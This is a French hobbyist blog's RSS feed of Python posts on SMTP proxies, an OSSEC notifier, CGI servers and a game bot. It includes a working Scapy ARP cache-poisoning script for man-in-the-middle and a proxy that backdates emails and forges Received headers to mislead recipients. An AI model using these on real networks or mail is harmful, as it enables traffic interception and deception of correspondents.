Le Blog du grand loup Zeur » python http://blog.gaetan-grigis.eu Le blog qui vous fait connaitre ce que vous savez déjà Tue, 17 Jan 2012 08:43:06 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Alerte d’ossec en notification sur le bureau http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/ http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/#comments Thu, 21 Apr 2011 19:06:02 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=1046 Aujourd’hui,

Encore un script useless, fait pour passer le temps en cours …

Le but étant d’avoir un IDS ossec sur l’ordi local configuré pour détecter et répondre plus ou moins comme il faut aux attaques basiques et SURTOUT rendre compte à l’utilisateur des problèmes rencontrés de façon orienté ‘desktop’.

A l’heure actuelle seul deux systèmes de notifications (officiels) de l’utilisateur existent sur ossec : soit une notification par mail, soit par twitter (qui ne fonctionne plus).

L’intêret de ce procédé était surtout de plugger snort avec ossec pour détecter des attaques sur le réseau sans avoir à laisser de console sur les logs de l’ids (des p’tits rigolo qui s’amuse sur le réseau de l’école :s).

Histoire de limiter le développement du logiciel, j’ai juste créée un serveur de mail qui via plusieurs regexp chope la règle qui a detecté l’attaque et le sujet du mail pour l’afficher en belle bulle de notification linuxienne.

La règle iptable qui renvoit les paquets du port 25 au port 8025 pour l’interface lo seulement, comme ça on lance le soft avec les droits utilisateurs, on est jamais trop prudent.

  1. /sbin/iptables -t nat -A OUTPUT -o lo -p tcp –dport 25 -j REDIRECT –to-port 8025

Ne pas oublier de modifier le fichier /etc/ossec.conf en mettant l’adresse du serveur smtp a 127.0.0.1, le serveur de mail chopant tout les adresses, on s’en fout donc de l’adresse de destination et d’émission.

IL faut aussi installer les dépendances :

  1. apt-get install python-notify

Une copie du mail est sauvegarder dans le fichier .mails_ossec, histoire de ne pas perdre le mail. (Au pire il est possible de mettre plusieurs adresses mail dans la conf ossec).

Le script à mettre au lancement de la session (Système -> Préférences -> Application au Démarrage) :

  1. #!/usr/bin/env python
  2.  
  3. from smtpd import PureProxy
  4. import asyncore
  5. import asynchat
  6. import smtplib
  7. import re
  8. import sys
  9. import os.path
  10. import pwd
  11. import grp
  12. import pynotify
  13.  
  14. class mySMTP (PureProxy):
  15.     def __init__(self,s):
  16.         PureProxy.__init__(self,s,None)
  17.  
  18.     def process_message (self, peer, mailfrom, rcpttos, data):
  19.      if not pynotify.init("Default Action Test"):
  20.   sys.exit(1)
  21.  
  22.  filout = open('.mails_ossec', 'a')
  23.  filout.write(data)
  24.  filout.close()
  25.  
  26.  title=""
  27.  rule =""
  28.  m = re.search("Subject:(.*)",data,re.I|re.M)
  29.  if m:
  30.       title=m.group(1)
  31.  m= None
  32.  m = re.search("(Rule:.*)",data,re.I|re.M)
  33.  if m:
  34.   rule=m.group(1)
  35.  #print data
  36.  if title=="" and rule=="":
  37.   return None
  38.  n = pynotify.Notification(title, rule)
  39.  n.show()
  40.         return None
  41.  
  42. if __name__ == "__main__":
  43.  
  44.     #in case of root : drop rights …
  45.     #but will not be able to access
  46.     #glibnotify … useless
  47.     if os.getuid() == 0:
  48.         running_uid = pwd.getpwnam("nobody")[2]
  49.         running_gid = grp.getgrnam("nogroup")[2]
  50.         os.setgid(running_gid)
  51.         os.setuid(running_uid)
  52. #/sbin/iptables -t nat -A OUTPUT -o lo -p tcp –dport 25 -j REDIRECT –to-port 8025
  53.     serv = mySMTP (("127.0.0.1", 8025))
  54.     try:
  55.         asyncore.loop ()
  56.     except KeyboardInterrupt:
  57.         pass

Histoire de pouvoir tester le script, sans attendre une attaque ou une erreur système :
Le petit script qui envoi un mail type au serveur de mail

  1. #!/bin/bash
  2.  
  3. (
  4.         echo "mail from:frommail"
  5.         sleep 0.5
  6.         echo "rcpt to:tomail"
  7.         sleep 0.5
  8.         echo "data"
  9.         sleep 0.5
  10.         echo "To: <someone@127.0.0.1>
  11. From: OSSEC HIDS <ossecm@kikoo>
  12. Date: Thu, 21 Apr 2011 11:31:40 +0200
  13. Subject: OSSEC Notification – kikoo – Alert level 10
  14.  
  15. OSSEC HIDS Notification.
  16. 2011 Apr 21 11:31:28
  17.  
  18. Received From: kikoo->/var/log/auth.log
  19. Rule: 5401 fired (level 10) -> 'Three failed attempts to run sudo'
  20. Portion of the log(s):
  21.  
  22. Apr 21 11:31:28 kikoo sudo:    kikoo : 3 incorrect password attempts ; TTY=pts/1 ; PWD=/home/kikoo/Documents ; USER=root ; COMMAND=/usr/bin/who"
  23.         sleep 0.5
  24.         echo "."
  25.         sleep 0.5
  26.         echo "QUIT"
  27.    ) | telnet 127.0.0.1 25

Et hop … dès qu’une attaque à lieu, ou un problème apparaît, une notification apparaît dans les secondes qui suivent. ça peut être sympa en lan, avec un bon NIDS, pour découvrir les scripts kiddies.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/feed/ 0 Petit serveur d’adresse mail de diffusion http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/ http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/#comments Sat, 05 Mar 2011 09:00:53 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=972 Plop à tous … encore un truc useless à partager.

J’ai récemment dû intervenir dans une entreprise qui avait un serveur de mail qui ne supportait pas les listes de diffusion (service de base fournit par yahoo en fait, donc à part forwarder des mails sur une adresse, il est pas possible de faire grand chose).

Ne voulant pas perdre trop de temps à mettre en place des systèmes du genre mailman ou autre, pour créer une vingtaine d’alias pour deux adresses mails (style support@mondomaine.fr qui envoit un mail pour toute la team de support), j’ai décidé de coder un serveur de mail qui ne répondrait qu’à certaines adresses et renverrait le mail sur les adresses configurées pour cette adresse de diffusion.

Ecrire ce genre de truc en python est encore plus rapide que de chercher l’équivalent sur google ;) d’où ma démarche.

La version de base fonctionne ainsi :
Pour la conf, il faut un fichier du genre à mettre dans le répertoire de l’executable :

  1. mail_monadressedediffusion@mondomaine.fr.conf

qui contiendra la liste des adresses mails du genre :

  1. monuser1@mondomaine.fr
  2. monuser2@mondomaine.fr

Ainsi, tout les mails envoyés à « monadressedediffusion@mondomaine.fr » seront envoyés à « monuser1@mondomaine.fr » et « monuser2@mondomaine.fr ».

Bien entendu, si l’adresse mail sur lequel on chope le mail n’a pas de conf (mail_[adresse mail].conf), on n’envoi pas de mail, donc on termine pas en relais pour les méchants spammeurs (pour une utilisation en proxy local, on peut enlever cette partie du code …).

Comm d’hab’, le code est fournit à titre d’exemple « as his & for educational purpose only » comme dirait les anglais, à adapter à ses besoins ;)

  1. #!/usr/bin/env python
  2.  
  3. from smtpd import PureProxy
  4. import asyncore
  5. import asynchat
  6. import smtplib
  7. import re
  8. import sys
  9. import os.path
  10. import pwd
  11. import grp
  12.  
  13. class mySMTP (PureProxy):
  14.     def __init__(self,s,n):
  15.         self.serv = n
  16.         PureProxy.__init__(self,s,None)
  17.  
  18.     def process_message (self, peer, mailfrom, rcpttos, data):
  19.         for rcpt in rcpttos:
  20.                 file="mail_"+rcpt+".conf"
  21.                 if os.path.exists(file):
  22.                         f = open(file,'r')
  23.                         rcpts = list()
  24.                         for line in f:
  25.                                 line=line.strip("\n")
  26.                                 if line!=mailfrom:
  27.                                         rcpts.append(line)
  28.                         f.close()
  29.                         if len(rcpts)>0:
  30.                                 smtpSender = smtplib.SMTP( self.serv[0], self.serv[1] )
  31.                                 smtpSender.sendmail( mailfrom, rcpts, data )
  32.                                 smtpSender.quit()
  33.         return None
  34.  
  35. if __name__ == "__main__":
  36.     if len(sys.argv)<2:
  37.         print "Il manque des arguments : "+sys.argv[0]+" 'serveur smtp','port'"
  38.         sys.exit(2)
  39.     if os.getuid() == 0:
  40.         running_uid = pwd.getpwnam("nobody")[2]
  41.         running_gid = grp.getgrnam("nobody")[2]
  42.         os.setgid(running_gid)
  43.         os.setuid(running_uid)
  44.  
  45.     if len(sys.argv) == 3:
  46.         serv = mySMTP (("0.0.0.0", 8025), (sys.argv[1],sys.argv[2]))
  47.     try:
  48.         asyncore.loop ()
  49.     except KeyboardInterrupt:
  50.         pass

Ce système n’agit qu’en proxy, il faudra donc lui fournir l’adresse d’un serveur smtp et son port en paramètre pour qu’il puisse forwarder les mails.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/feed/ 0 Téléchargement Direct et Linux (Tucan) http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/ http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/#comments Sun, 12 Sep 2010 15:31:16 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=889 Plop à vous cher visiteur …

Aujourd’hui, petit article pour relancer mon blog … (après un mois et demi d’absence … ), je vais donc parler de direct download et plus précisement d’un logiciel permettant d’automatiser les téléchargements (liste de dl, cracking de captcha, …).

Avec l’arrivé d’Hadopi, il devient intéressant de changer ses habitudes en terme de téléchargement de contenus (légaux bien sûr ;) ). Jusque là, j’utilisais JDownloader, qui faisait bien son travail, si ce n’est les ressources consommées par le logiciel (écrit en Java … pas besoin d’un dessin), il avait tout pour plaire :

  • Récupération direct du contenu d’un copié (et collage immédiat dans le logiciel)
  • Cracking de captcha (système maison efficace à 90% voir plus ou moins suivant les hosts)
  • Système de priorité
  • Reprise de téléchargement après extinction, …
  • Mise à jour fréquente

Cela dit, l’interface pouvait devenir très lourd, et l’utilisation sous linux semblait bizarre, déplacement de fenêtres saccadées, lenteur d’affichage (Java …).

Il me fallait donc trouver un soft open-source propre et léger comme seul de vrai libriste savent le faire ;) . Au détour de la doc d’ubuntu (c’est le mal, mais bon), j’ai trouvé le soft Tucan, écrit en Python-GTK, pas trop moche et encore à ses débuts, toutes les fonctionnalités de JDownloader n’y sont pas, mais l’essentiel y est :

  • Récupération de liens depuis du code HTML, texte, …
  • Cracking de Captcha (utilisation de Tesseract), crackant même du ReCaptcha (le truc que même un humain doit retaper 3 fois avant de trouver le bon …)
  • Priorité basic
  • Utilisation de Plugins par host (module python à part, super simple à créer/modifier)
  • Code source en GPLv3

Le gros problème : il ne permet pas la reprise d’un téléchargement (genre on arrête le logiciel alors que des téléchargements sont en cours, il reprendra le fichier depuis le début).

Le système de timing est basic : ils utilisent tout le temps un timer de 60 secondes, sans tenir compte du temps fournit par l’host (45sec pour MU, 300 sec pour HF, …).

Par contre, comme c’est du python et open-source, on peut direct taper dans le code source (assez lisible et découpé en pas mal de modules). Donc j’imagine, que ces bugs ou features manquantes arriveront bientôt.

Pour ma part, lors de l’utilisation du parsing html, le parsing étant fait par split, il arrivait que les liens n’était pas les bon, j’ai donc remplacé la chose par un regexp :

Pour ceux ayant ce problème, il faut modifier le fichier « service_manager » à la ligne 105 et remplacer :

  1.          if "http://" in link:
  2.             tmp = link.split("http://").pop()
  3.             if "<" in tmp:
  4.                tmp = tmp.split("<")[0]
  5.             elif " " in tmp:
  6.                tmp = tmp.split(" ")[0]
  7.             elif "[" in tmp:
  8.                tmp = tmp.split("[")[0]
  9.             elif "'" in tmp:
  10.                tmp = tmp.split("'")[0]

par

  1.          clean = re.search("http://([^\"' ]*)",link)
  2.          if clean :
  3.             tmp = clean.group(1)

Et hop, magie magie et plus de junk, c’est beau les regexp quand même ;) , les 2 autres problèmes cités plus haut prendront eux plus de temps à corriger, mais l’équipe doit être dessus …

Donc voilà, si vous cherchez une alternative à JDownloader, Tucan pourrait peut être vous interessez.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/feed/ 1 monter un serveur PHP en une ligne de commande (ou presque) http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/ http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/#comments Sat, 24 Apr 2010 09:45:22 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=795 Dans le genre « news de webg33k » en voici une …

A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l’artillerie lourde apache ou nginx.

Après diverses recherche sur mon ami, je suis tombé sur : créer un serveur http en 10 secondes …

  1. sudo python -m SimpleHTTPServer 80

Créant ainsi un serveur http accessible sur : http://127.0.0.1/). Mais cette technique ne fournit que des fichiers statiques (ok c’est déjà pas mal … et c’est plus où moins ce que je cherchais).

Mais en lisant la doc, on peut trouver un « CGIHTTPServer », c’est un serveur qui peut exécuter des scripts (python, perl, php, sh, …) et l’utilisation est similaire :

  1. python -m CGIHTTPServer 8080

qui créera un serveur HTTP sur le dossier courant avec la possibilité d’éxecuter des scripts (EN CLI = ligne de commande) sur le port 8080 (accessible sur http://127.0.0.1:8080/).

ATTENTION, il ne faut pas executer le serveur avec un sudo (pour utiliser le port 80), car sinon, les scripts seront executés en root, ainsi pour le script php suivant (à mettre dans un dossier nommé « cgi-bin » dans le dossier courant d’éxecution de la commande, et faire un chmod +x et nécessite l’installation du paquet php-cli) :

  1. #!/usr/bin/php
  2. <?php
  3. echo "";//pour signaler la fin des headers
  4. echo phpinfo();


 
On remarque bien que le script a les droits root … donc à EVITER.

Il faut donc l’executer sur le port un port supérieur à 1024 (pour ne pas utiliser les droits root : 8080 est le port le plus courant dans ce genre de cas), puis effectuer une redirection de port via iptables qui permettra ici d’accéder au port 8080 du serveur en faisant une requête sur le port 80 :

  1. sudo iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-ports 8080

(ne fonctionne pas pour l’adresse de loopback 127.0.0.1).

Si vous voulez exécuter d’autre type de script : sh, python, …, il suffit de les mettre dans le dossier cgi-bin et de faire un chmod +x dessus.

En python :

  1. #!/usr/bin/python
  2. print ""
  3. print "les kikoolols attaquent!!!"

En bash :

  1. #!/bin/bash
  2. echo ""
  3. echo "les kikoolols attaquent!!!"

Ne pas oublier le premier print «  » ou echo «  », qui indique la fin des headers HTTP.

Voilà … c’était le post inutile mais indispensable de la semaine ;)

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/feed/ 0 Créer son propre service de mail jetable avec appengine http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/ http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/#comments Sat, 27 Mar 2010 11:45:29 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=769 Plop à tous
Au détour d’un article de Korben, j’ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide ;) ).

Le gros problème de ce service : la base de données (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).

L’API fournit, ainsi que l’environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L’un des services proposés par les appengine de google est la réception de mail en http. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de mail jetable de yopmail, j’ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine …

Le but de l’appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l’adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l’adresse expirée, les mails reçût seront automatiquement droppés.

Pour tester le service : en http et en https, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c’est long, mais il faut au moins ça pour combattre le spam ^^).

Le code source étant un peu plus long que mes scripts habituels, j’ai donc ouvert un dépôt SVN (sur google code évidemment ;) ) pour publier les sources.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/feed/ 0 Envoyer des mails dans le passé http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/ http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/#comments Sat, 20 Mar 2010 15:05:34 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=762 Plop à tous …

Aujourd’hui, une astuce de « gros noob », le but est d’envoyer un mail à une date passée ou future, genre pour le rendu d’un devoir à 23h59m59s alors qu’on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat’ … le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, … (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** ….)

Les plus futés sauront qu’en modifiant la date de leur machine, on peut fausser les dates d’envoi (genre en reculant la date de deux jours, la plupart des mailers/logiciels de récupération de mails vont afficher le mail comme étant reçu il y a deux jours …).

Mais nous sommes informaticiens, et ce genre de méthode, c’est pour les noobs … nous on va coder un bon gros serveur SMTP pour envoyer des mails dans le temps xD…

En fait en python, ça consiste en 40 lignes de codes … (et encore … c’est crade comme d’hab ;) ).

L’utilisation du script suivant ce fait comme suit :

  1. ./nomDuScript 'adresse serveur smtp du fai' '25' "date d'envoi"

Ou, si l’on veut rajouter des faux headers (histoire d’expliquer le retard du mails, ou rajouter de faux relais …)

  1. ./nomDuScript 'adresse serveur smtp du fai' '25' "date d'envoi" '/chemin/du/fichier contenant/les/headers'

Un fichier d’exemples de (fake) headers à rajouter :

  1. Received: from [1.3.3.7] (helo=lol.kikoo.rox)
  2.       by leskikoolol.attaqu.ent with esmtp id m4573r-573417-00
  3.       for lolmaster@kikoo.rox; Sat, 20 mar 2010 01:02:03 +0000
  4. Received: from kikoo.lol.rox (kikoo.lol.rox [10.3.3.7])
  5.       by lol.kikoo.rox with ESMTP id f7O1Sci1337
  6.       for lolmaster@kikoo.rox; Sat, 20 Mar 2010 00:00:00 +0000

et l’exemple d’utilisation pour le header en question :

  1. ./nomDuScript 127.0.0.1 25 "Fri, 19 Mar 2010 23:59:58 +0000" headers

Qui permettra de faire croire à votre correspondant ici lolmaster@kikoo.rox :

  • que vous avez envoyé votre mail vendredi 19 mars 2010 à 23h59, par votre machine nommée « kikoo.lol.rox » à l’ip 10.3.3.7
  • que le mail a été reçu à minuit par le serveur smtp à l’ip 1.3.3.7 nommé « lol.kikoo.rox »
  • puis, que le mail a été relayé à 01h02 par le serveur smtp nommé « leskikoolol.attaqu.ent »

Ce qui expliquera au correspondant le temps de latence entre l’envoi du mail et sa réception. (Faudra bien sûr changer les infos pour coller à la réalité ^^)

Le script, qui créé un serveur SMTP sur le port 8025 (il faudra configurer votre client mail pour utiliser le serveur SMTP 127.0.0.1 sur le port 8025) :

#!/usr/bin/env python
  1.  
  2. from smtpd import PureProxy
  3. import asyncore
  4. import asynchat
  5. import smtplib
  6. import re
  7. import sys
  8.  
  9. class mySMTP (PureProxy):
  10.     def __init__(self,s,n,d,f=""):
  11.         self.date = d
  12.  self.serv = n
  13.  self.fich = f
  14.         PureProxy.__init__(self,s,None)
  15.  
  16.     def process_message (self, peer, mailfrom, rcpttos, data):
  17.  p = re.compile("Date: .*")
  18.  data = p.sub("Date: "+self.date,data)
  19.  if self.fich !="":
  20.             f = open(self.fich,'r')
  21.      t = f.read(1024)
  22.      f.close()
  23.      data = t + data
  24.      print "Message + header: "+data
  25.  smtpSender = smtplib.SMTP( self.serv[0], self.serv[1] )
  26.  smtpSender.sendmail( mailfrom, rcpttos, data )
  27.  smtpSender.quit()
  28.  return None
  29.  
  30. if __name__ == "__main__":
  31.     if len(sys.argv)<4:
  32.         print "Il manque des arguments : "+sys.argv[0]+" 'serveur smtp','port','date'[, 'fichier header']"
  33.         sys.exit(2)
  34.     if len(sys.argv) == 4:
  35.         serv = mySMTP (("127.0.0.1", 8025), (sys.argv[1],sys.argv[2]),sys.argv[3])
  36.     if len(sys.argv) == 5:
  37.         serv = mySMTP (("127.0.0.1", 8025), (sys.argv[1],sys.argv[2]),sys.argv[3],sys.argv[4])
  38.     try:
  39.         asyncore.loop ()
  40.     except KeyboardInterrupt:
  41.         pass

Amusez-vous bien ;)

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/feed/ 0 Mon apprentissage de python avec Ogame ^^ http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/ http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/#comments Thu, 03 Dec 2009 18:58:51 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=630 The kikoolol strike back !! Mon deuxième billets de la soirée …pour pas grand chose en fait.

J’ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame … rien d’illégal bien entendu ^^.
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :

  • Les requêtes HTTP en python avec des headers à partir de zéro
  • Les Threads pour les opérations en parallèle
  • Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)

Pour l’utiliser, il suffit ensuite d’ajouter au source qui vont suivre :

  1. og = Ogame()
  2. og.setSessionCookie(
  3.  "le contenu du cookie phpsessid de votre univers",
  4.  "le contenu du cookie prssess de votre univers",
  5.  "le contenu du cookie loginC de votre univers",
  6.  "le parametre de l'url &session=…",
  7.  "uniXX.ogame.fr"votre#univers
  8. )
  9. Farmer.buildInChainsPlanets(og,["id planete","id planete"],[[4,1,2,4,1,2,4,1,2,4],[4,1,2,4,1,2,4,1,2,4]])

le premier paramètre de buildInChainsPlanets est l’objet og
le second est un tableau de string contenant l’id des planètes à « farmer »
le troisième est un tableau de tableau contenant les séquences des batiments à construire :
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l’electricite.

Et voilà … lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).

  1. #!/usr/bin/python
  2. # -*- coding:Utf-8 -*-
  3. from threading import Thread
  4. from threading import Semaphore
  5. import random
  6. import httplib
  7. import time
  8. import re
  9.  
  10. class Ogame:
  11.  def __init__(self):
  12.   self.userAgent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091021 Ubuntu/9.10 (karmic) Minefield/3.7a1pre"
  13.   self.login     = ""
  14.   self.password  = ""
  15.   self.PHPSessId = ""
  16.   self.prSess    = ""
  17.   self.loginString= ""
  18.   self.session   = ""
  19.   self.urlGame   = ""
  20.   self.univers   = ""
  21.   self.cookie    = ""
  22.   self.referer = ""
  23.  
  24.  def setSessionCookie(self,sessid="",prsess="",loginString="",session="",univers=""):
  25.   self.PHPSessId = sessid
  26.   self.prSess    = prsess
  27.   self.loginString= loginString
  28.   self.session   = session
  29.   self.urlGame   = "/game/index.php?page=overview&session="+session
  30.   self.univers   = univers
  31.   self.cookie    = "PHPSESSID="+self.PHPSessId+";prsess_165647="+self.prSess+";login_165647="+self.loginString+";"
  32.   self.referer = "http://"+self.univers+self.urlGame
  33.  
  34.  def getPlanetResource(self,id):
  35.   op = OgamePlanet(self,id)
  36.   return op.getResource()
  37.  def planetAddBuilding(self,id,batiment):
  38.   op = OgamePlanet(self,id)
  39.   return op.addBuilding(batiment)
  40.  
  41.  
  42. class OgamePlanet:
  43.  def __init__(self,ogame,id):
  44.   self.planetId=id
  45.   self.ogame=ogame
  46.   self.res=""
  47.  def getPlanets(ogame):
  48.   ht = httplib.HTTPConnection(ogame.univers)
  49.   ht.request("GET",ogame.urlGame,{},{"Cookie" :o game.cookie,"User-Agent" :o game.userAgent,"Referer" :o game.referer})
  50.   rq=ht.getresponse()
  51.   data=rq.read()
  52.   ht.close()
  53.   select=re.search("<select[^>]*>([\w\W\n\t\r]*)</select>",data)
  54.   res=re.findall("&cp=([^&]*)&[^>]*>([^<]*)<.*\[([^\]]*)\]",select.group(0))
  55.   return res
  56.  getPlanets = staticmethod(getPlanets)
  57.  def getResource(self):
  58.   reque=self.ogame.urlGame+"&cp="+self.planetId+"&mode=&gid=&messageziel=&re=0"
  59.   ht = httplib.HTTPConnection(self.ogame.univers)
  60.   ht.request("GET",reque,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":self.ogame.referer})
  61.   self.ogame.referer=reque
  62.   rq=ht.getresponse()
  63.   data=rq.read()
  64.   ht.close()
  65.   table=re.search("<table class='header' id='resources'[^>]*>([\w\W\n\t\r]*?)</table>",data)
  66.   res=re.findall("<font[^>]*>([.0-9]*)</font>",table.group(0))
  67.   self.res=res
  68.   return res
  69.  #1 metal 2 cristal 3 deuterium 4 electricite
  70.  def addBuilding(self, batiment):
  71.   ht = httplib.HTTPConnection(self.ogame.univers)
  72.   url = "/game/index.php?page=b_building&session="+self.ogame.session+"&cp="+self.planetId+"&mode=&gid=&messageziel=&re=0"
  73.   ht.request("GET",url,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":self.ogame.referer})
  74.   rq=ht.getresponse()
  75.   data = rq.read()
  76.   link=re.search("modus=add&techid="+batiment,data)
  77.   if str(link) == "None":
  78.    ti=re.search("pp='([0-9]+)';",data)
  79.    if(str(ti)!="None"):
  80.     tps = ti.groups(0)
  81.     return – int(tps[0])#just to say that another things is being constructed Need to change farmer
  82.    else:
  83.     return -3#Don't get the url to create building
  84.   ht.close()
  85.   time.sleep(random.randint(1,2))
  86.   reque="/game/index.php?page=b_building&session="+self.ogame.session+"&modus=add&techid="+batiment+"&planet="+self.planetId
  87.   ht.request("GET",reque,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":url})
  88.   self.ogame.referer=reque
  89.   rq=ht.getresponse()
  90.   data=rq.read()
  91.   ht.close()
  92.   link=re.search("modus=add&techid="+batiment,data)
  93.   if str(link) == "None":#no link so it's OK
  94.    ti=re.search("pp='([0-9]+)';",data)
  95.    if(str(ti)!="None"):
  96.     tps = ti.groups(0)
  97.     return tps[0]
  98.    else:
  99.     return -1
  100.   else:
  101.    return -2
  102.  
  103. #Farming function …
  104. class Farmer(Thread):
  105.  
  106.  def __init__(self,og,planet,batiments):
  107.   Thread.__init__(self)
  108.   self.og = og
  109.   self.planet = planet
  110.   self.batiments = batiments
  111.  
  112.  def run(self):
  113.   for batiment in self.batiments:
  114.    self.sec=-1
  115.    print "On contruit un batiment : "+str(batiment)+" sur : "+self.planet
  116.    while(self.sec<0):
  117.     self.sec = self.og.planetAddBuilding(self.planet,str(batiment))
  118.     if self.sec<0 and self.sec>-4:
  119.      addTime=360 + random.randint(10,120)
  120.      print "Ajout d'un temps additionnel de "+str(addTime)+" sec(s) avant le prochain batiment"
  121.      time.sleep(addTime)
  122.     elif self.sec<-4:
  123.      print "Un batiment est déjà en construction pour encore "+str(-self.sec)+" sec(s)"
  124.      time.sleep(-self.sec)
  125.     else:
  126.      print "On va attendre "+str(self.sec)+" secondes avant le prochain batiment"
  127.      time.sleep(float(self.sec)+2)
  128.    
  129.  def buildInChainsPlanets(og,planets,batiments):
  130.   list=[]
  131.   #maxCon = 1 default 1 ^^
  132.   pool_sema = Semaphore()
  133.    
  134.   for index,planet in enumerate(planets):
  135.    pool_sema.acquire()
  136.    tmp = Farmer(og,planet,batiments[index])
  137.    list.append(tmp)
  138.    tmp.start()
  139.    time.sleep(random.randint(2,5))
  140.    pool_sema.release()
  141.   for l in list:
  142.    l.join()
  143.  buildInChainsPlanets = staticmethod(buildInChainsPlanets)

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/feed/ 1 Scapy pour forger des paquets en python http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/ http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/#comments Sun, 06 Sep 2009 11:14:30 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=548 Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
  1. from scapy.all import *
  2. import sys
  3. if len(sys.argv) != 3:
  4.         print "Usage: %s ip1 ip2" % sys.argv[0]
  5.         sys.exit(1)
  6.  
  7. def arppoiso(routeur,pigeon):
  8.         mac = getmacbyip(routeur)
  9.         p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
  10.         sendp(p, iface_hint=routeur)
  11.  
  12. arppoiso(sys.argv[1],sys.argv[2])
  13. arppoiso(sys.argv[2],sys.argv[1])

